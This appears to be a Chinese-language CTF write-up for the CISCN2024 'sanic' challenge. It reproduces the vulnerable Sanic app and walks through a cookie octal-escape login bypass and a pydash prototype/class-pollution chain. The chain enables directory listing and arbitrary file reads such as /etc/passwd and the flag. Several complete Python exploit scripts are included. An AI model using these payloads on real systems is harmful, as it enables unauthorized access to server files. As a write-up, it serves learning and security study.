[CISCN2024]sanic
源码
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')是在sanic框架下的,去找sanic处理cookie的逻辑,发现用双引号包裹里面的转义会被解析,并且能够解析八进制,于是可以用八进制的编码绕过
{"user": "adm\073n"}

然后是过滤了_.这个字符串,跟进一下看看处理的逻辑


最终是用to_path_tokens来处理path,这里面的unescape_path_key会将包含的转义符去掉,因此我们就能利用这点绕过,在前面加上\\\\最终仍会被解析为_.
RE_PATH_KEY_DELIM = re.compile(r"(?<!\\)(?:\\\\)*\.|(\[\d+\])")
def unescape_path_key(key):
"""Unescape path key."""
key = key.replace(r"\\", "\\")
key = key.replace(r"\.", r".")
return keysrc能够通过__file__读取文件,把这个污染了就能读取任意文件了
import requests
import re
url = "http://e37ecdd2-ea0f-4ab5-a12f-5e7685643e9f.challenge.ctf.show/"
s = requests.session()
key = "__init__\\\\.__globals__\\\\.__file__"
value = "/etc/passwd"
cookie = {"user": "\"adm\\073n\""}
login = s.get(url + "login", cookies=cookie)
s.post(url + "admin", json = {"key": key, "value": value}, cookies=cookie)
src = s.get(url + "src", cookies=cookie)
print(src.text)
然后读不到/flag,不知道flag文件名是什么,需要读目录,但是该怎么通过一个pollute读取目录呢
只靠污染一个__file__肯定不行,注意有一个static,跟进看一下

在注释中发现

大体意思就是在directory_view为True的时候会开启列目录功能,当开启了之后能够用directory_handler自定义如何展示
然后跟进directory_handler看看,发现是调用了DirectoryHandler这个类

继续跟进

其中的directory就是目录的位置,所以我们只需要将directory设为根目录然后directory_view设为True就能够读到根目录
接下来是寻找污染链
我们需要污染的是static中的参数,需要找到static是如何被调用到的,简单分析一下所在的代码
首先是DirectoryHandler被实例化,也就是刚才找到的,接下来在StaticHandleMixin类中被包装成了_handler,然后注册到route中



在router中发现find_route_by_view_name这个函数是通过name_index来获取路由名字的

在本地起个环境然后输出看一下
print(app.router.name_index)
全局找一下name_index


打个断点然后调试一下,发现我们要污染的变量

可以看到目标是在handler中,试着输出一下
print(app.router.name_index['__mp_main__.static'].handler.keywords['directory_handler'])
尝试污染一下,可以看到成功了
import requests
url = "http://127.0.0.1:11211/"
s = requests.session()
key = "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view"
value = True
cookie = {"user": "\"adm\\073n\""}
# login = s.get(url + "login", cookies=cookie)
res = s.post(url + "admin", json = {"key": key, "value": value}, cookies=cookie)
# src = s.get(url + "src", cookies=cookie)
# print(login.text)
print(res.text)
# print(src.text)
接下来更改目录
import requests
url = "http://127.0.0.1:11211/"
s = requests.session()
key = "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory"
value = "/"
cookie = {"user": "\"adm\\073n\""}
# login = s.get(url + "login", cookies=cookie)
res = s.post(url + "admin", json = {"key": key, "value": value}, cookies=cookie)
# src = s.get(url + "src", cookies=cookie)
# print(login.text)
print(res.text)
# print(src.text)
发现报错了,回到directory中看一下,发现directory的值是这个parts决定的,但是parts是一个元组,不能污染,得找一下是怎么被赋值的

跟进之后是这个,__new__会根据操作系统返回不同的实例,最后是用的_from_parts处理的参数

跟进,发现这里的parts最终是被赋给了_parts,是通过_parse_args函数调用的

继续跟进,这里就是变成元组的地方,path对象在这里通过_parts以列表的形式赋给parts,最后通过parse_parts转换成了元组,

尝试一下,在这次终于成功了
import requests
url = "http://e37ecdd2-ea0f-4ab5-a12f-5e7685643e9f.challenge.ctf.show/"
s = requests.session()
key = "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts"
value = ["/"]
cookie = {"user": "\"adm\\073n\""}
login = s.get(url + "login", cookies=cookie)
res = s.post(url + "admin", json = {"key": key, "value": value}, cookies=cookie)
#src = s.get(url + "src", cookies=cookie)
print(login.text)
print(res.text)
#print(src.text)
然后污染__file__读取flag
最终payload
import requests
import re
url = "http://e37ecdd2-ea0f-4ab5-a12f-5e7685643e9f.challenge.ctf.show/"
s = requests.session()
key1 = "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view"
key2 = "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts"
path = ["/"]
cookie = {"user": "\"adm\\073n\""}
login = s.get(url + "login", cookies=cookie)
s.post(url + "admin", json = {"key": key1, "value": True}, cookies=cookie)
s.post(url + "admin", json = {"key": key2, "value": path}, cookies=cookie)
static = s.get(url + "static/", cookies=cookie)
content = static.text
all = re.findall(r'<a href="([^"]+)">', content)
flag_path = [x for x in all if "flag" in x][0]
s.get(url + "admin", json={"key": "__init__\\\\.__globals__\\\\.__file__", "value": f"/{flag_path}"}, cookies=cookie)
flag = s.get(url + "src", cookies=cookie)
print(flag.text)
总结
复现的过程中真的遇到了好多问题,看着wp好像不难,实际上手哪里都是问题,不过这一遍下来还是学到蛮多东西的
参考:
https://www.cnblogs.com/gxngxngxn/p/18205235
https://xz.aliyun.com/news/14057
https://redshome.top/posts/2024-12-10-2024%E5%9B%BD%E8%B5%9B-sanic%E5%A4%8D%E7%8E%B0/